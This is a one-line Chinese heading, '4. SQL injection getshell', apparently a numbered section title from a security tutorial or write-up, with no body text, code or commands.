4.SQL注入getshell